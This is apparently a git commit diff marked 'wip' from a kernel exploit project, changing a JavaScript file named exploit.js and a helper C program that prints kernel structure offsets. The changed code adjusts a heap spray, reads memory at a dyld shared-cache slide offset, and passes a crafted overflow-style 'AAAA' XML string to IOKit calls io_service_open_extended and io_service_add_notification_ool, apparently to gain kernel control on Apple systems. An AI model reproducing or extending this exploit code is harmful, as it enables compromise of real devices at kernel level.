From 0b212a73e235c233b4addd0c9ea6b55676416d17 Mon Sep 17 00:00:00 2001 From: spv420 Date: Sun, 24 Apr 2022 13:32:31 -0400 Subject: wip --- src/js/kexp/exploit.js | 5 +++-- tools/testlol.c | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index 48d7f62..a78bdca 100644 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -71,6 +71,7 @@ function spray_data(mem, size, num, portptr) { } printf("%x %x\n", master, read_u32(master)); + printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); if (ret == KERN_SUCCESS) { ret = read_u32(err); @@ -103,9 +104,9 @@ function copyinPort(kport, cnt) { write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); } + var err = malloc(4); var xml = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"); -// write_u32(err, 0); - ret = io_service_open_extended(service, self, 0, NDR_record + get_dyld_shc_slide(), xml, strlen(xml), err, client); + ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client); printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { ret = read_u32(err); diff --git a/tools/testlol.c b/tools/testlol.c index 9c56db3..50bd322 100644 --- a/tools/testlol.c +++ b/tools/testlol.c @@ -67,7 +67,7 @@ int main(int argc, char* argv[]) { printf("var kport_ip_receiver%x = 0x%x;\n", 4, offsetof(kport_t, ip_receiver)); printf("var kport_ip_srights%x = 0x%x;\n", 4, offsetof(kport_t, ip_srights)); printf("var MIG_MAX = 0x%x\n", 0x1000); - printf("var NDR_record = 0x%x\n", &NDR_record); + printf("var NDR_record = %x %x %x %x\n", NDR_record); return 0; } \ No newline at end of file -- cgit v1.2.3